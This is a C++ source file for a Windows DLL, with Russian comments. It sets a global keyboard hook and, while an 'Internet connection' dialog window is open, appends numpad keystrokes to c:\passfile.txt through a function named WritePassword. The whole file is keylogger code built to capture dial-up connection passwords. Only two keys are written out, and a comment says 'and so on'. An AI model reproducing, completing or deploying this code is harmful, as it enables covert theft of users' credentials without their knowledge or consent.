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// test dll.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include <fstream>
using namespace std;
#define EXPORT __declspec(dllexport)
HINSTANCE hdll;
HHOOK hhk;
fstream file;

void WritePassword(char simvol)
{
    file.open("c:\\passfile.txt",ios::app);
    file<<simvol;
    file.close();
}

LRESULT CALLBACK KeyProc(int code, WPARAM wparam, LPARAM lparam)
{
    if (code<0) return CallNextHookEx(hhk,code, wparam, lparam);
    DWORD IsDown =!(lparam >>31);
    if ((code==HC_ACTION)  && (FindWindow(0,"Поключение к интернету")) && IsDown)
    {
        switch(wparam)
        {
        case VK_NUMPAD0 : WritePassword('0'); break;
        case VK_NUMPAD1: WritePassword('1'); break;
            // и так далее
        }
    }
    return CallNextHookEx(hhk,code, wparam ,lparam);
}
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    hdll = static_cast<HINSTANCE>(hModule);
    return TRUE;
}

EXPORT void RunHook(bool state)
{
    if (state) hhk=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyProc,hdll,0);
    else UnhookWindowsHookEx(hhk);
}